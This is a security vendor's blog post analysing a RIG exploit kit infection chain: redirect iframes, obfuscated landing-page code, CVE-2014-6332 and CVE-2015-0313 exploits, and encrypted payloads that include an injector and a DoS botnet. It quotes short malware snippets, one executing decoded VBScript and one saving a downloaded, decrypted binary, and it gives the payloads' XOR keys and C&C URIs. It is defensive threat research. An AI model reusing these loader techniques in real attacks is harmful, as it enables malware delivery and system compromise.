Live Global Events: Secure, Simplify, and Transform Your Business.

Zscaler Blog

Get the latest Zscaler blog updates in your inbox

Security Research

RIG Exploit Kit Infection Cycle Analysis

May 20, 2015 - 7 min read


Happy belated birthday to RIG exploit kit! First seen around April 2014, RIG has been in the news several times over the past year. In February, the source code was reportedly leaked online, which likely spurred some of the recent changes we've observed in the kit. ThreatLabZ has been keeping an eye on RIG and in this post we'll cover an example of a full RIG infection cycle.


In the past, RIG used malvertising and compromised sites to send users to RIG landing pages and we've seen no change in this tactic. Compromised sites leading to RIG usually contain an iframe in the page header that loads a RIG proxy domain, which also contains an iframe leading to the RIG landing page. The full infection cycle is shown in the annotated Fiddler session below.
Fig 1: RIG Infection Cycle
In this example, the compromised site actually contains three different malicious iframes in its header. These iframes correspond to line items 37-39 in Fig 1.
Fig 2: iframes on Compromised Site
Out of the three RIG proxy iframes on the compromised site, only one, sunfuji[.]com, is still redirecting victims to RIG landing pages. Much like the iframe on the compromised site, the RIG proxy page contains an iframe redirecting victims to the actual landing page.
Fig 3: RIG Proxy Redirects to RIG Landing
Note that the RIG proxy is a persistent redirector, which will change the landing page location arbitrarily. Taken at a different time, the same page returned the following result:
Fig 4: RIG Proxy Changed Landing Page

Landing Page

The landing page has multiple consistent attributes, starting with the URI. Every RIG landing page URI starts with a question mark, followed by 171 characters. Two examples are below:
  • four.pavementexpress[.]org/?xH6Af7ieJRvHDIs=l3SKfPrfJxzFGMSUb-nJDa9GPkXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFT_zR3AaQ4ilotXQB5MrPzwnEqWwxWeioWBrxaIYwMU95LEQOdviwijm7VFJMonk0DRvWcDnrtMU0gbrA
  • trip.slotsbid[.]com/?xniKfredKx_HCYY=l3SKfPrfJxzFGMSUb-nJDa9GPkXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFT_zR3AaQ4ilotXQB5MrPzwnEqWwxWeioWAqBHbYw1MrcOTEOcz0Aj2yeVBd892zxWA4GMBmL5MVUgbrA
The landing page itself contains three blocks of obfuscated code along with some portions of text from a popular CNET article. The majority of the code is actually a long list of character-delimited strings that are passed to a function that basically splits them on the delimiter and runs 'fromCharCode':
Fig 5: Top of the RIG Landing Page - strings use 't' delimiter
The decode function for each of the three code blocks immediately follows the set of character-delimited strings, as shown in Fig 6.
Fig 6: Decode function for first set of character-delimited strings
The deobfuscated first block of code attempts to detect known virtual machine characteristics and other attributes that might indicate an analysis environment. If anything is found, the next two code blocks are not deobfuscated or executed.
Fig 7: Code block 1 deobfuscated - detect analysis environment
The second code block is a large base64-encoded VBScript segment:
Fig 8: Code block 2 deobfuscated - vbscript
The VBScript is executed from the following code:
     function time() {window.execScript(base64_decode(scriptvar), "VBscript");}setTimeout(time, 3001);    

Once executed, the VBScript exploits CVE-2014-6332, the so-called 'Godmode' exploit (VT detection - 4/57). AV detection tends to be particularly bad on the VBScript even though the code very closely matches the proof of concept originally publicized. There is a good writeup from TrendMicro, which delves into the details of this vulnerability. If exploitation is successful, the encrypted exe is downloaded, decrypted, and executed on the system. The encryption key for the binary is conveniently in cleartext within the VBScript:
          If objHTTP.Status = 200 Then               Set objFile = objFSO.CreateTextFile(strSaveTo,True)               objFile.Write EnDeCrypt(ByteArray2String(objHTTP.responseBody), "nkiOaWsg")               objFile.Close               End If    

The third block of code simply serves up a malicious SWF with no secondary obfuscation:
Fig 9: Code block 3 deobfuscated - malicious SWF
This code is almost the same as in other exploit kits, and the URL of the encrypted binary is being passed to the SWF as a parameter. The exploit in this case was CVE-2015-0313, which affects Flash versions prior to, and the exploit code is contained in a script called 'wow.' Detection on VirusTotal shows 10/57, and there are several public writeups on this vulnerability.

Payload #1 - Injector

The binary payload is encrypted with an 8-byte key, which you can guess from the stream or retrieve from the deobfuscated VBScript.
Fig 10: Encrypted Binary - key is 'WsgnkiOa'
VirusTotal detection is a bit better than 50% for this payload at 32/57. The binary file is a Nullsoft Installer self-extracting archive and extracting the archive reveals three files inside:
Fig 11: Extracted Files from EXE
In addition to these three files, another executable 'b8.exe' is dropped. Once the installer finishes dropping files, it loads the DLL (15/55 on VirusTotal) and begins executing functions to read in the other two files. The file '6ag1rqashtwqw1hgqa' contains data XOR'd with the first 10 bytes of the filename, and the decrypted contents reveals several API calls that give us an idea of what will happen next, for example CreateProcessA, WriteProcessMemory, and ResumeThread.
Fig 12: Decrypting file data with filename
Similarly, the 'Stevie Nicks' .m3u is unfortunately not actually a playlist, but instead an encrypted binary that is decrypted by the DLL using the XOR key "ZhmGqqKwXmJiiS7dzjzPyyaTw0PANF".
Fig 13: Decrypting 'Stevie Nicks' playlist binary
VirusTotal detection on the decrypted Stevie Nicks binary is 35/56.  Ultimately, this leads to creating a hollow process of itself (process hollowing - PDF) which then creates an explorer.exe process and injects code to beacon to the Command & Control (C&C) server. Beacons were frequent and used the URI string '/power/logout.php' to POST to the domain ''
Fig 14: C&C Traffic Sample
Other notable activity includes:
  • Copying to 'C:\Program Files\Common Files\Windows Search 5.3.10\<random>.exe'
  • Using the registry for persistence
  • Hooking ZwOpenFile and ZwOpenProcess
  • Clipboard control

Payload #2 - Blue Bot

After quite some time, a second payload is downloaded named 'cfajrs.exe' from '' which beacons to Four URIs were observed:
  • /help/proxy
  • /help/blog
  • /help/botlogger.php
    • Returns div of HTML with "visitors online" (see Fig 15)
  • /help/target
    • Returns 'STOP|STOP|STOP' during analysis (see Fig 16)
Fig 15: /help/botlogger.php response
Fig 16: /help/target response
VirusTotal detection is 41/56 and indicates this is part of BlueBotnet. Looking at the binary, we see it's a .NET executable and uses no obfuscation at all to make decompilation difficult. Looking at the namespace and classes confirms this is called 'Blue_Botnet' and appears to be a DoS tool.
Fig 17: Blue_Botnet Code Overview

One of the more interesting functions is the 'updateTarget' function, which expects a pipe-delimited list of IP, port, and method. There are multiple different methods accepted for the 'target' command: UDP, TCP, SYN, MCBOTALPHA, HTTP, HTTPROXY, PRESS, and STOP.
Fig 18: Blue_Botnet updateTarget Function
To perform its attacks, the bot has a list of 37 different user agent strings to make detection more difficult (paste of user agents); each request uses a different user agent from the list so requests look like they are coming from multiple different clients instead of from the same source. There is an Italian-language theme to the code, both in some of the variable names and in some of the HTTP headers, for example the Accept-Language header in the HTTP attack function shown below.
Fig 19: Blue_Botnet HTTP Attack Function
Interestingly, the response from botlogger.php is not used in the code and the request may simply be a beacon to the server to keep count of infections.


RIG continues to be a popular and effective exploit kit choice and has evolved over the past year, indicating active development. While other exploit kits are moving toward ransomware and adfraud for monetization of infected victims, RIG is apparently not following this trend and still pushes more traditional malware. ThreatLabZ will continue to monitor RIG for any new developments. For a look at the infrastructure supporting RIG, Trustwave has a great post on the topic.
form submtited
Thank you for reading

Was this post useful?

Explore more Zscaler blogs

A cyber criminal shopping for malware
Agniane Stealer: Dark Web’s Crypto Threat
Read Post
Business people walking through a city
The Impact of the SEC’s New Cybersecurity Policies
Read Post
Digital cloud illuminated in blue
Security Advisory: Remote Code Execution Vulnerability (CVE-2023-3519)
Read Post
The TOITOIN Trojan: Analyzing a New Multi-Stage Attack Targeting LATAM Region
Read Post
01 / 02
dots pattern

Get the latest Zscaler blog updates in your inbox

By submitting the form, you are agreeing to our privacy policy.